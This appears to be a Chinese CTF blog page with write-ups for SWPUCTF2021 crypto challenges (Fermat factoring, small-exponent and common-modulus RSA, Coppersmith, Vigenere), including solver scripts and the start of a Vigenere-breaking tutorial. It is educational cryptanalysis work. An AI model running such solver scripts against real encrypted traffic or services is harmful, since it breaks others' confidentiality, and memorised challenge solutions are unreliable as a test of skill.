格式:NSSCTF{} ​ 经典的八卦图和01序列对照,这里要注意它是每九位二进制数为一个ascii码: 123456789dic = {'震':'001','坤':'000','艮':'100','巽':'110','兑':'011','离':'101',}s = '震坤艮震艮震坤巽坤坤巽震震巽兑震艮震震离艮震离艮'm = ''for i in s: m = m+dic[i]print(m)for i in range(0,len(m),9): c = m[i:i+9] print(chr(int(c,2)),end='') crypto4123456789101112131415161718192021from gmpy2 import *from Crypto.Util.number import *flag = '**********'p = getPrime(512)q = next_prime(p)m1 = bytes_to_long(bytes(flag.encode()))e = 0x10001n = p*qflag1 = pow(m1,e,n)print('flag= '+str(flag1))print('n= '+str(n))flag= 10227915341268619536932290456122384969242151167487654201363877568935534996454863939953106193665663567559506242151019201314446286458150141991211233219320700112533775367958964780047682920839507351492644735811096995884754664899221842470772096509258104067131614630939533042322095150722344048082688772981180270243n= 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153 ​ 分解模数n,由于p和q差距太小,于是可以利用费马分解: (p+q)^2-4n = (p-q)^2​ p-q非常小,爆破来获得真实的p+q值,然后联立p*q = n解方程。 123456789101112131415161718192021222324252627from gmpy2 import *from z3 import *from Crypto.Util.number import *flag= 10227915341268619536932290456122384969242151167487654201363877568935534996454863939953106193665663567559506242151019201314446286458150141991211233219320700112533775367958964780047682920839507351492644735811096995884754664899221842470772096509258104067131614630939533042322095150722344048082688772981180270243n= 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153e = 0x10001for i in range(2**20): y = 4*n + i if iroot(y,2)[1]: p_q = iroot(y,2)[0] breakp_q = int(p_q)p = Int('p')q = Int('q')solve(p+q == p_q,p*q==n)q = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421p = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093assert p*q == nphi = (p-1)*(q-1)d = invert(e,phi)print(long_to_bytes(pow(flag,d,n))) ​ 也可以用factor分解,因为factor就是用的费马分解算法。 crypto512flag= 25166751653530941364839663846806543387720865339263370907985655775152187319464715737116599171477207047430065345882626259880756839094179627032623895330242655333n= 134109481482703713214838023035418052567000870587160796935708584694132507394211363652420160931185332280406437290210512090663977634730864032370977407179731940068634536079284528020739988665713200815021342700369922518406968356455736393738946128013973643235228327971170711979683931964854563904980669850660628561419 ​ 很显然密文比n小太多了,大概率是小指数,没给e,遍历1到10即可。 1234567891011from Crypto.Util.number import *from gmpy2 import *flag= 25166751653530941364839663846806543387720865339263370907985655775152187319464715737116599171477207047430065345882626259880756839094179627032623895330242655333n= 134109481482703713214838023035418052567000870587160796935708584694132507394211363652420160931185332280406437290210512090663977634730864032370977407179731940068634536079284528020739988665713200815021342700369922518406968356455736393738946128013973643235228327971170711979683931964854563904980669850660628561419for e in range(1,10): if iroot(flag,e)[1]: print(iroot(flag,e)[0])print(long_to_bytes(29305044677847256883031643626546437461373017758852477)) crypto9​ 利用密文前六个AKKPLX和NSSCTF对照,得到key为13,18,18。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081#AKKPLX{qv5x0021-7n8w-wr05-x25w-7882ntu5q984}#NSSCTF 13 18 18letter_list = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' # 字母表# 根据输入的key生成key列表def Get_KeyList(key): key_list = [] for ch in key: key_list.append(ord(ch.upper()) - 65) return key_list# 加密函数def Encrypt(plaintext, key_list): ciphertext = "" i = 0 for ch in plaintext: # 遍历明文 if 0 == i % len(key_list): i = 0 if ch.isalpha(): # 明文是否为字母,如果是,则判断大小写,分别进行加密 if ch.isupper(): ciphertext += letter_list[(ord(ch) - 65 + key_list[i]) % 26] i += 1 else: ciphertext += letter_list[(ord(ch) - 97 + key_list[i]) % 26].lower() i += 1 else: # 如果密文不为字母,直接添加到密文字符串里 ciphertext += ch return ciphertext# 解密函数def Decrypt(ciphertext, key): plaintext = "" i = 0 for ch in ciphertext: # 遍历密文 if 0 == i % len(key_list): i = 0 if ch.isalpha(): # 密文为否为字母,如果是,则判断大小写,分别进行解密 if ch.isupper(): plaintext += letter_list[(ord(ch) - 65 - key_list[i]) % 26] i += 1 else: plaintext += letter_list[(ord(ch) - 97 - key_list[i]) % 26].lower() i += 1 else: # 如果密文不为字母,直接添加到明文字符串里 plaintext += ch return plaintextif __name__ == '__main__': print("加密请按D,解密请按E:") user_input = input(); while (user_input != 'D' and user_input != 'E'): # 输入合法性判断 print("输入有误!请重新输入:") user_input = input() print("请输入密钥:") key = input() while (False == key.isalpha()): # 输入合法性判断 print("输入有误!密钥为字母,请重新输入:") key = input() key_list = Get_KeyList(key) if user_input == 'D': # 加密 print("请输入明文:") plaintext = input() ciphertext = Encrypt(plaintext, key_list) print("密文为:\\n%s" % ciphertext) else: # 解密 print("请输入密文:") ciphertext = input() plaintext = Decrypt(ciphertext, key_list) print("明文为:\\n%s" % plaintext) rrrsssaaa123456789101112131415161718192021222324252627282930313233from Crypto.Util.number import *import gmpy2from functools import reducefrom secret import flagp = getPrime(1024)i = 0while True: r = p * 5 + i if isPrime(r): i = 0 break else: i += 1while True: q = p * 10 + i if isPrime(q): break else: i += 1n = p * q * re = 65537c = pow(bytes_to_long(flag.encode()), e, n)print('c=' + str(c))print('p3=' + str(pow(p, 3, n)))print('q3=' + str(pow(q, 3, n)))print('r3=' + str(pow(r, 3, n)))# n = 44571911854174527304485400947383944661319242813524818888269963870884859557542264803774212076803157466539443358890313286282067621989609252352994203884813364011659788234277369629312571477760818634118449563652776213438461157699447304292906151410018017960605868035069246651843561595572415595568705784173761441087845248621463389786351743200696279604003824362262237505386409700329605140703782099240992158439201646344692107831931849079888757310523663310273856448713786678014221779214444879454790399990056124051739535141631564534546955444505648933134838799753362350266884682987713823886338789502396879543498267617432600351655901149380496067582237899323865338094444822339890783781705936546257971766978222763417870606459677496796373799679580683317833001077683871698246143179166277232084089913202832193540581401453311842960318036078745448783370048914350299341586452159634173821890439194014264891549345881324015485910286021846721593668473# c = 11212699652154912414419576042130573737460880175860430868241856564678915039929479534373946033032215673944727767507831028500814261134142245577246925294110977629353584372842303558820509861245550773062016272543030477733653059813274587939179134498599049035104941393508776333632172797303569396612594631646093552388772109708942113683783815011735472088985078464550997064595366458370527490791625688389950370254858619018250060982532954113416688720602160768503752410505420577683484807166966007396618297253478916176712265476128018816694458551219452105277131141962052020824990732525958682439071443399050470856132519918853636638476540689226313542250551212688215822543717035669764276377536087788514506366740244284790716170847347643593400673746020474777085815046098314460862593936684624708574116108322520985637474375038848494466480630236867228454838428542365166285156741433845949358227546683144341695680712263215773807461091898003011630162481# p3 = 891438237083490546089708018947678893226384856270496377765399277417697191150845296075484241536063149330788867177806265725641352439792185047059884077696267280233195764685547392586251429555216372682368991273055524268769223153988946085858123028200360359212117360701384933036871231911448311911374115683475228820531478240539549424647154342506853356292956506486091063660095505979187297020928573605860329881982122478494944846700224611808246427660214535971723459345029873385956677292979041143593821672034573140001092625650099257402018634684516092489263998517027205660003413512870074652126328536906790020794659204007921147300771594986038917179253827432120018857213350120695302091483756021206199805521083496979628811676116525321724267588515105188480380865374667274442027086789352802613365511142499668793725505110436809024171752137883546327359935102833441492430652019931999144063825010678766130335038975376834579129516127516820037383067# q3 = 44571911854174527304485400947383944661319242813524818888269963870884859557542264803774212076803157466539443358890313286282067621989609252352994203884813364011659788234277369629312571477760818634118449563652776213438461157699447304292906151410018017960605868035069246651843561595572415595568705784173761440671033435053531971051698504592848580356684103015611323747688216493729331061402058160819388999663041629882482138465124920580049057123360829897432472221079140360215664537272316836767039948368780837985855835419681893347839311156887660438769948501100287062738217966360434291369179859862550767272985972263442512061098317471708987686120577904202391381040801620069987103931326500146536990700234262413595295698193570184681785854277656410199477649697026112650581343325348837547631237627207304757407395388155701341044939408589591213693329516396531103489233367665983149963665364824119870832353269655933102900004362236232825539480774# r3 = 22285955927087263652242700473691972330659621406762409444134981935442429778771132401887106038401578733269721679445156643141033810994804626176497101942406682005829894117138684814656285738880409317059224781826388106719230578849723652146453075705009008980302934017534623325921780797786207797784352892086880720749202442492937918619992591614713131681306874944356693778359565004415437554407990089293135634916859631279984463829118336826115430997439527110961309956466956650522900331263720500751112297418506140413317489683875995326726992533904683800042127871963320754241310699432792081707870167598822650064976439270556418985242630368723264289700246406905189810458354474959276748887369363592834205660349184660073395182450526542246354364903399132116153732074081050985584216815493617906868615192465631416955706457835185743023758573279838341229835613609332206338401219168119635681832981552328638132500079074010106995297184587143613134093145 ​ p3,q3,r3都是小指数加密得到的,但只有p3位数比n小一位,于是直接对p3开方得到p,再利用p,q,r的生成算法得到q,r。最后求phi,d解密。 123456789101112131415161718192021222324252627282930313233343536373839404142from Crypto.Util.number import *import gmpy2n = 44571911854174527304485400947383944661319242813524818888269963870884859557542264803774212076803157466539443358890313286282067621989609252352994203884813364011659788234277369629312571477760818634118449563652776213438461157699447304292906151410018017960605868035069246651843561595572415595568705784173761441087845248621463389786351743200696279604003824362262237505386409700329605140703782099240992158439201646344692107831931849079888757310523663310273856448713786678014221779214444879454790399990056124051739535141631564534546955444505648933134838799753362350266884682987713823886338789502396879543498267617432600351655901149380496067582237899323865338094444822339890783781705936546257971766978222763417870606459677496796373799679580683317833001077683871698246143179166277232084089913202832193540581401453311842960318036078745448783370048914350299341586452159634173821890439194014264891549345881324015485910286021846721593668473c = 11212699652154912414419576042130573737460880175860430868241856564678915039929479534373946033032215673944727767507831028500814261134142245577246925294110977629353584372842303558820509861245550773062016272543030477733653059813274587939179134498599049035104941393508776333632172797303569396612594631646093552388772109708942113683783815011735472088985078464550997064595366458370527490791625688389950370254858619018250060982532954113416688720602160768503752410505420577683484807166966007396618297253478916176712265476128018816694458551219452105277131141962052020824990732525958682439071443399050470856132519918853636638476540689226313542250551212688215822543717035669764276377536087788514506366740244284790716170847347643593400673746020474777085815046098314460862593936684624708574116108322520985637474375038848494466480630236867228454838428542365166285156741433845949358227546683144341695680712263215773807461091898003011630162481p3 = 891438237083490546089708018947678893226384856270496377765399277417697191150845296075484241536063149330788867177806265725641352439792185047059884077696267280233195764685547392586251429555216372682368991273055524268769223153988946085858123028200360359212117360701384933036871231911448311911374115683475228820531478240539549424647154342506853356292956506486091063660095505979187297020928573605860329881982122478494944846700224611808246427660214535971723459345029873385956677292979041143593821672034573140001092625650099257402018634684516092489263998517027205660003413512870074652126328536906790020794659204007921147300771594986038917179253827432120018857213350120695302091483756021206199805521083496979628811676116525321724267588515105188480380865374667274442027086789352802613365511142499668793725505110436809024171752137883546327359935102833441492430652019931999144063825010678766130335038975376834579129516127516820037383067q3 = 44571911854174527304485400947383944661319242813524818888269963870884859557542264803774212076803157466539443358890313286282067621989609252352994203884813364011659788234277369629312571477760818634118449563652776213438461157699447304292906151410018017960605868035069246651843561595572415595568705784173761440671033435053531971051698504592848580356684103015611323747688216493729331061402058160819388999663041629882482138465124920580049057123360829897432472221079140360215664537272316836767039948368780837985855835419681893347839311156887660438769948501100287062738217966360434291369179859862550767272985972263442512061098317471708987686120577904202391381040801620069987103931326500146536990700234262413595295698193570184681785854277656410199477649697026112650581343325348837547631237627207304757407395388155701341044939408589591213693329516396531103489233367665983149963665364824119870832353269655933102900004362236232825539480774r3 = 22285955927087263652242700473691972330659621406762409444134981935442429778771132401887106038401578733269721679445156643141033810994804626176497101942406682005829894117138684814656285738880409317059224781826388106719230578849723652146453075705009008980302934017534623325921780797786207797784352892086880720749202442492937918619992591614713131681306874944356693778359565004415437554407990089293135634916859631279984463829118336826115430997439527110961309956466956650522900331263720500751112297418506140413317489683875995326726992533904683800042127871963320754241310699432792081707870167598822650064976439270556418985242630368723264289700246406905189810458354474959276748887369363592834205660349184660073395182450526542246354364903399132116153732074081050985584216815493617906868615192465631416955706457835185743023758573279838341229835613609332206338401219168119635681832981552328638132500079074010106995297184587143613134093145p = gmpy2.iroot(p3, 3)[0]i = 0while True: q = p * 5 + i if isPrime(q): i = 0 break else: i += 1while True: r = p * 10 + i if isPrime(r): i = 0 break else: i += 1phiN = (p - 1) * (q - 1) * (r - 1)e = 65537while True: try: print(e) d = gmpy2.invert(e, phiN) m = long_to_bytes(pow(c, d, n)) if b'NSSCTF' in m: print(m) break else: e = gmpy2.next_prime(e) except: e = gmpy2.next_prime(e) pass Vigenere​ 非变异类维吉尼亚,在线解密网站梭。 automatic12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788from Crypto.Util.number import *import randomfrom secret import flagimport socketserverimport stringtable = string.ascii_letters + string.digitsclass Task(socketserver.BaseRequestHandler): def _recvall(self): BUFF_SIZE = 2048 data = b'' while True: part = self.request.recv(BUFF_SIZE) data += part if len(part) < BUFF_SIZE: break return data.strip() def send(self, msg, newline=True): try: if newline: msg += b'\\n' self.request.sendall(msg) except: pass def recv(self, prompt=b''): self.send(prompt, newline=False) return self._recvall() def proof_of_work(self): proof = (''.join([random.choice(table) for _ in range(20)])).encode() self.send(b'welcome to NSS,GL & HF') self.send(b'do you know what automated RSA solver is?') self.send(b'I don\\'t know but I want you show me that') p = getPrime(128) q = getPrime(128) n = p * q e1 = getPrime(24) e2 = getPrime(24) c1 = pow(bytes_to_long(proof), e1, n) c2 = pow(bytes_to_long(proof), e2, n) self.send(b'n='+str(n).encode()) self.send(b'e1=' + str(e1).encode()) self.send(b'e2=' + str(e2).encode()) self.send(b'c1=' + str(c1).encode()) self.send(b'c2=' + str(c2).encode()) XXXX = self.recv(prompt=b'[+] Plz Tell Me proof :') if len(XXXX) != 20 or XXXX != proof: return False return True def handle(self): proof = self.proof_of_work() if not proof: self.request.close() counts = 0 for i in range(777): proof = self.proof_of_work() if proof: self.send("correct".encode()) counts += 1 else: self.send("incorrect".encode()) if counts == 777: self.send(b'You get flag!') self.send(flag) else: self.send(b'something wrong?') self.request.close()class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer): passclass ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer): passif __name__ == "__main__": HOST, PORT = '0.0.0.0', 12000 print("HOST:POST " + HOST + ":" + str(PORT)) server = ForkedServer((HOST, PORT), Task) server.allow_reuse_address = True server.serve_forever() ​ 和服务器交互进行778次共模攻击: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253from pwn import *from gmpy2 import *from Crypto.Util.number import *def gongmogongji(n, c1, c2, e1, e2): def egcd(a, b): if b == 0: return a, 0 else: x, y = egcd(b, a % b) return y, x - (a // b) * y s = egcd(e1, e2) s1 = s[0] s2 = s[1] # 求模反元素 if s1 < 0: s1 = - s1 c1 = invert(c1, n) elif s2 < 0: s2 = - s2 c2 = invert(c2, n) m = pow(c1, s1, n) * pow(c2, s2, n) % n return mio = remote("112.124.34.157",12000)for i in range(778): print(i) first = io.recvuntil(b':') start1 = first.find(b'that') start2 = first.find(b'e1') start3 = first.find(b'e2') start4 = first.find(b'c1') start5 = first.find(b'c2') start6 = first.find(b'[') n = first[start1+7:start2-1] n = int(str(n)[2:-1]) e1 = int(str(first[start2+3:start3-1])[2:-1]) e2 = int(str(first[start3+3:start4-1])[2:-1]) c1 = int(str(first[start4+3:start5-1])[2:-1]) c2 = int(str(first[start5+3:start6-1])[2:-1]) m1 = gongmogongji(n,c1,c2,e1,e2) m1 = long_to_bytes(m1) print(m1) m1 = str(m1)[2:-1] print(m1) io.sendline(m1.encode())print(io.recv(10000))#NSSCTF{nice_try} crypto112345678910111213141516171819202122from gmpy2 import *from Crypto.Util.number import *flag = '****************************'flag = {"asfajgfbiagbwe"}p = getPrime(2048)q = getPrime(2048)m1 = bytes_to_long(bytes(flag.encode()))e1e2 = 3087n = p*qprint()flag1 = pow(m1,e1,n)flag2 = pow(m1,e2,n)print('flag1= '+str(flag1))print('flag2= '+str(flag2))print('n= '+str(n))#flag1= 463634070971821449698012827631572665302589213868521491855038966879005784397309389922926838028598122795187584361359142761652619958273094398420314927073008031088375892957173280915904309949716842152249806486027920136603248454946737961650252641668562626310035983343018705370077783879047584582817271215517599531278507300104564011142229942160380563527291388260832749808727470291331902902518196932928128107067117198707209620169906575791373793854773799564060536121390593687449884988936522369331738199522700261116496965863870682295858957952661531894477603953742494526632841396338388879198270913523572980574440793543571757278020533565628285714358815083303489096524318164071888139412436112963845619981511061231001617406815056986634680975142352197476024575809514978857034477688443230263761729039797859697947454810551009108031457294164840611157524719173343259485881089252938664456637673337362424443150013961181619441267926981848009107466576314685961478748352388452114042115892243272514245081604607798243817586737546663059737344687130881861357423084448027959893402445303299089606081931041217035955143939567456782107203447898345284731038150377722447329202078375870541529539840051415759436083384408203659613313535094343772238691393447475364806171594#flag2= 130959534275704453216282334815034647265875632781798750901627773826812657339274362406246297925411291822193191483409847323315110393729020700526946712786793380991675008128561863631081095222226285788412970362518398757423705216112313533155390315204875516645459370629706277876211656753247984282379731850770447978537855070379324935282789327428625259945250066774049650951465043700088958965762054418615838049340724639373351248933494355591934236360506778496741051064156771092798005112534162050165095430065000827916096893408569751085550379620558282942254606978819033885539221416335848319082054806148859427713144286777516251724474319613960327799643723278205969253636514684757409059003348229151341200451785288395596484563480261212963114071064979559812327582474674812225260616757099890896900340007990585501470484762752362734968297532533654846190900571017635959385883945858334995884341767905619567505341752047589731815868489295690574109758825021386698440670611361127170896689015108432408490763723594673299472336065575301681055583084547847733168801030191262122130369687497236959760366874106043801542493392227424890925595734150487586757484304609945827925762382889592743709682485229267604771944535469557860120878491329984792448597107256325783346904408#n= 609305637099654478882754880905638123124918364116173050874864700996165096776233155524277418132679727857702738043786588380577485490575591029930152718828075976000078971987922107645530323356525126496562423491563365836491753476840795804040219013880969539154444387313029522565456897962200817021423704204077133003361140660038327458057898764857872645377236870759691588009666047187685654297678987435769051762120388537868493789773766688347724903911796741124237476823452505450704989455260077833828660552130714794889208291939055406292476845194489525212129635173284301782141617878483740788532998492403101324795726865866661786740345862631916793208037250277376942046905892342213663197755010315060990871143919384283302925469309777769989798197913048813940747488087191697903624669415774198027063997058701217124640082074789591591494106726857376728759663074734040755438623372683762856958888826373151815914621262862750497078245369680378038995425628467728412953392359090775734440671874387905724083226246587924716226512631671786591611586774947156657178654343092123117255372954798131265566301316033414311712092913492774989048057650627801991277862963173961355088082419091848569675686058581383542877982979697235829206442087786927939745804017455244315305118437 ​ 同一个m用同一个n加密,显然是共模攻击,但如果只停留在套脚本的程度这种题就很难做出来,还得理解清楚原理。 m^a \\equiv c1\\mod n m^b \\equiv c2 \\mod n 若找到a*x+b*y=1则可利用: m=c1^x*c2^y \\mod n求m,这里x和y有一个是负数,需要将负数改为对n求逆。或者用pow(c1,x,n)计算,在modn的条件下它会自动把符号转为逆。 ​ 本题只给了e1e2的乘积,所以需要先分解这个乘积: 3087 = 3^2*7^3那么可取3和7来组合相乘得到e1和e2,但是e1和e2大概率有公因子(3或7),这就需要先求两者的公因子,分别先除以公因子,再把新的e1和e2求x和y,这样用共模攻击求出的是m^3或者m^7,试着直接开根或者加上kn开根得到flag。 1234567891011121314151617181920212223import gmpy2from Crypto.Util.number import *flag1= 463634070971821449698012827631572665302589213868521491855038966879005784397309389922926838028598122795187584361359142761652619958273094398420314927073008031088375892957173280915904309949716842152249806486027920136603248454946737961650252641668562626310035983343018705370077783879047584582817271215517599531278507300104564011142229942160380563527291388260832749808727470291331902902518196932928128107067117198707209620169906575791373793854773799564060536121390593687449884988936522369331738199522700261116496965863870682295858957952661531894477603953742494526632841396338388879198270913523572980574440793543571757278020533565628285714358815083303489096524318164071888139412436112963845619981511061231001617406815056986634680975142352197476024575809514978857034477688443230263761729039797859697947454810551009108031457294164840611157524719173343259485881089252938664456637673337362424443150013961181619441267926981848009107466576314685961478748352388452114042115892243272514245081604607798243817586737546663059737344687130881861357423084448027959893402445303299089606081931041217035955143939567456782107203447898345284731038150377722447329202078375870541529539840051415759436083384408203659613313535094343772238691393447475364806171594flag2= 130959534275704453216282334815034647265875632781798750901627773826812657339274362406246297925411291822193191483409847323315110393729020700526946712786793380991675008128561863631081095222226285788412970362518398757423705216112313533155390315204875516645459370629706277876211656753247984282379731850770447978537855070379324935282789327428625259945250066774049650951465043700088958965762054418615838049340724639373351248933494355591934236360506778496741051064156771092798005112534162050165095430065000827916096893408569751085550379620558282942254606978819033885539221416335848319082054806148859427713144286777516251724474319613960327799643723278205969253636514684757409059003348229151341200451785288395596484563480261212963114071064979559812327582474674812225260616757099890896900340007990585501470484762752362734968297532533654846190900571017635959385883945858334995884341767905619567505341752047589731815868489295690574109758825021386698440670611361127170896689015108432408490763723594673299472336065575301681055583084547847733168801030191262122130369687497236959760366874106043801542493392227424890925595734150487586757484304609945827925762382889592743709682485229267604771944535469557860120878491329984792448597107256325783346904408n= 609305637099654478882754880905638123124918364116173050874864700996165096776233155524277418132679727857702738043786588380577485490575591029930152718828075976000078971987922107645530323356525126496562423491563365836491753476840795804040219013880969539154444387313029522565456897962200817021423704204077133003361140660038327458057898764857872645377236870759691588009666047187685654297678987435769051762120388537868493789773766688347724903911796741124237476823452505450704989455260077833828660552130714794889208291939055406292476845194489525212129635173284301782141617878483740788532998492403101324795726865866661786740345862631916793208037250277376942046905892342213663197755010315060990871143919384283302925469309777769989798197913048813940747488087191697903624669415774198027063997058701217124640082074789591591494106726857376728759663074734040755438623372683762856958888826373151815914621262862750497078245369680378038995425628467728412953392359090775734440671874387905724083226246587924716226512631671786591611586774947156657178654343092123117255372954798131265566301316033414311712092913492774989048057650627801991277862963173961355088082419091848569675686058581383542877982979697235829206442087786927939745804017455244315305118437e1e2 = 3087fac = [3,3,7,7,7]factor = [3,7,3*7,3*3,7*7,3*7*7,3*3*7,7*7*7,3*7*7*7,3*3*7*7]for e1 in factor: if e1e2 % e1 == 0: e2 = e1e2 // e1 _,s,t = gmpy2.gcdext(e1,e2) gcd = gmpy2.gcd(e1,e2) temp = pow(flag1,s,n) * pow(flag2,t,n) % n for k in range(2**12): temp2 = gmpy2.iroot(temp + k*n,gcd) if temp2[1]: m = temp2[0] if b'NSSCTF' in long_to_bytes(m): print(long_to_bytes(m)) break crypto312345678910111213141516171819202122232425from gmpy2 import *from Crypto.Util.number import *flag = '******************'p = getPrime(512)q = getPrime(512)m1 = bytes_to_long(bytes(flag.encode()))n = p*qflag1 = pow(m1,p,n)flag2 = pow(m1,q,n)print('flag1= '+str(flag1))print('flag2= '+str(flag2))print('n= '+str(n))#flag1= 17893542812755845772427795161304049467610774531005620109503081344099161906017295486868699578946474114607624347167976713200068059018517606363517478396368430072890681401898145302336139240273132723451063402106360810413024642916851746118524166947301681245568333254648265529408446609050354235727237078987509705857#flag2= 95580409405085606847879727622943874726633827220524165744517624606566789614499137069562997931972825651309707390763700301965277040876322904891716953565845966918293178547100704981251056401939781365264616997055296773593435626490578886752446381493929807909671245959154990639046333135728431707979143972145708806954#n= 140457323583824160338989317689698102738341061967768153879646505422358544720607476140977064053629005764551339082120337223672330979298373653766782620973454095507484118565884885623328751648660379894592063436924903894986994746394508539721459355200184089470977772075720319482839923856979166319700474349042326898971 ​ 一元copper,参见NPUCTF2020-共模攻击 12345678n = 140457323583824160338989317689698102738341061967768153879646505422358544720607476140977064053629005764551339082120337223672330979298373653766782620973454095507484118565884885623328751648660379894592063436924903894986994746394508539721459355200184089470977772075720319482839923856979166319700474349042326898971c1 = 17893542812755845772427795161304049467610774531005620109503081344099161906017295486868699578946474114607624347167976713200068059018517606363517478396368430072890681401898145302336139240273132723451063402106360810413024642916851746118524166947301681245568333254648265529408446609050354235727237078987509705857c2 = 95580409405085606847879727622943874726633827220524165744517624606566789614499137069562997931972825651309707390763700301965277040876322904891716953565845966918293178547100704981251056401939781365264616997055296773593435626490578886752446381493929807909671245959154990639046333135728431707979143972145708806954PR.<m> = PolynomialRing(Zmod(n))#modn的多项式环f = m^2-(c1+c2)*m+c1*c2x0 = f.small_roots(X=2^400)print(x0)","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"SWPUCTF2021","slug":"赛事/SWPUCTF2021","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/SWPUCTF2021/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"}]},{"title":"Vigenere break","slug":"Vigenere-break","date":"2022-04-11T01:31:04.000Z","updated":"2022-04-11T07:06:02.000Z","comments":true,"path":"2022/04/11/Vigenere-break/","link":"","permalink":"http://example.com/2022/04/11/Vigenere-break/","excerpt":"​ 替换密码当中,Vigenere是一种安全性较高运用范围广的密码算法,比赛中也经常出相关的题。本篇通过两道例题系统学习Vigenere及其推广的破解方法。","text":"​ 替换密码当中,Vigenere是一种安全性较高运用范围广的密码算法,比赛中也经常出相关的题。本篇通过两道例题系统学习Vigenere及其推广的破解方法。 一.Vigenere原理​ 实际上是移位密码的推广,每一个明文字符对应的增量不同: 二.基本类型及其破解思路​ task.py: 12345678910111213141516from string import ascii_lettersfrom flag import flagctoi = lambda x: ascii_letters.index(x)itoc = lambda x: ascii_letters[x]key = flag.strip('NCTF{}')len_key = len(key)plaintext = open('plaintext.txt', 'r').read()plain = ''.join(p for p in plaintext if p in ascii_letters)cipher = ''.join( itoc( ( ctoi(p) + ctoi( key[i % len_key] ) ) % 52 ) for i,p in enumerate(plain) )open('ciphertext.txt', 'w').write(cipher) ​ 密文: 1nsfAIHFrMuLynuCApeEstxJOzniQuyBVfAChDEznppfAiEIDcyNFBsCjsLvGlDtqztuaHvHbCmuyGNsIMhGlDtbotCoDzDjhyBzHGfHGfoHsuhlssIMvwlixBHHGfDRjoCKrapNIwqNyuxIBACQhtMwCmMCfEBpsrzEuiLGBoMipTkxrznoHfAkqwzvxuzCzDbLyApCGvjpqxkuwpgsLrqsVfCRwzlFmtlyrhuyEiivruFRpCRjkEDrqEqthyGwgsLnQvHmtzwDEznopBpsDOxvgBGIKzurFQxwQxkptutxzmfeLFQoRpJRvrpHxilwqeqMeiiIGBsQpCCvrptAlHsDnuRltmHuCGFpsBcwnsEblsswEPwerNpIADpJRCvwQxrntJltNpfAuFBwRstytoyvcepwtwqNlmmNGFsJjsQvkyvrkrstxJOzniQvNvzdDUdyJzjqzsErqxEjguyFMNwtPjsDwjoDfCdxzvftNGyzKjCEjsDxjqsjGMqFpimGpIADpJRFkovHJlpthyHnpqyBOHhmDMmoosClwiehEzmffOGMvDxDSnnyLuXFlwYEPvosQxCrRxwCpDswHopxDruvEzsOgBsXxDLvvlMpezwpnOOsjrANzHDsLCnoqLCepgtaHNHfpysNHGfOMqkyvlozxHetJGfvNuCGKjIRnoDLAbpyxnJCpqeLxuBCuwCpGpOnkEywrEPrisHrItSiDQgvtLCipyJnDzwtxBnNoKxpWuCxwuiqwDmIJxffIqSGSbzGpqlDnXvNIwqNzoxBrQoXuDRjonsAozzHeBjweTBBypDtIGnvHGDiosItqGvusGrIFzoNRjsyykrExweMvDtsLGItVbAIkxrFnuEyDmuIzxMNBIyziDJfyqLqbmjAtqOEiivnwyNgwCtmzsCgFxIfEMEiiBrFzNgxRdEEKqbHtJltIEmiNzygGfHyknVwnmJtJrxvyewNBSCTsHCnptxHlFiDnJHtohmuyKztHRkvwKxopfImuWFurIGuGRpGCcCDzntlxqevJCfEHLQoXxtIgzEynqEnCgsGztiLnHrBmDQgBEGCephprHJFtiFnHrXpJAqEwvBqlwItECpbvNuuHMvIRAwFKrZtyplMvJttFnSGhuLyuzwsHfyldhcvCjicGJzzztBvrlLBXxjHoDBlcsOGzwEuNWgkCKjdzBweDdHbwuyCHSmtIknezjqDtCeDDnfxBvHuzcDSvmlJAlFxtlIOsfCuyQoXtEJcIEznplrtsEIrtMNuIIFiIRjonsAozzHeBRltgFBMsCjCRjoHAwqpwIiCzzmhjuIsAfHyknTLFXDywevDCtxNvGsRitNtknLrZlqAyIvteeHLNvHovqjoAJxYlgAyvJChsNFBsVbHQwzAGBboyDbuNzsiuGGslbNzglpujrDjxtIvCpyHqWvQjHRokDaBXtihhuyterNFuMzoNRjsyyFepsXsqDouluGmvDqGMdkmDHoprtmrzCfhMuyKztHSrzzKnaEtqeIJCfeNzyRNzDSykyLClrtuoHvCjhyBHwSJHyknTCwbHxweFMzcevySrHelFgxDzntlxptyIJmmNGFsJjsypnLDufpfCdTWlohcHMsCuDEqDzLqbAfGkMDEilyEMvDxpQokosklFyIhuxlsvIHMsKZDSeyFDmkElttxzCpjzGBsFpsBcwEzrkrNBtEJmjkMuyGzjsgvrzMpeExweMvDoxABCBFuDypCHwAjpgJtICpemxaIMNvGCpyEYxlyNAlMvtujIESofpDLKClAmTpBtruMthlNGBsQfIFgxeznopBtruvqfAEvxGQjsGpqzFrqxtHtBTGfvSyCHSmtIknDswalktwFvCfrNFQsQfLykDtFpXCtJntJFuwCqyGHuIGpqzFCepgtnsCpteHquzKXwyvSoAmtlxXwuIEvtNBNvDxxLfyHOqbCjIhuTDfpFGBsSjrIgDDswamtJgxOzmhjuIsAfpRkmvwCQsjCIwvGfmNGIvDshFgGlKBqlssiDBCjkBGHsWuIMooSwAbTxpitrljxuFyqNosRcupLqbCjHtEAJpyLqIIFiIMqSDLjoEjsgyQtokBrLHGfGCuDzxCepiDuwCDiixyyBSntwqEvwnmtyZeuKtujIEGsRitQcsolqbyxweIvtevCtBHzgICtGlJmMwjpsuosbxMqyDQfHQkxrOqbyxDmuwzeCMnSGOmtyuoEGHlFNBeqItgmNFjvNfqCqBDGvbmtsyjCluhyCLsRttBvr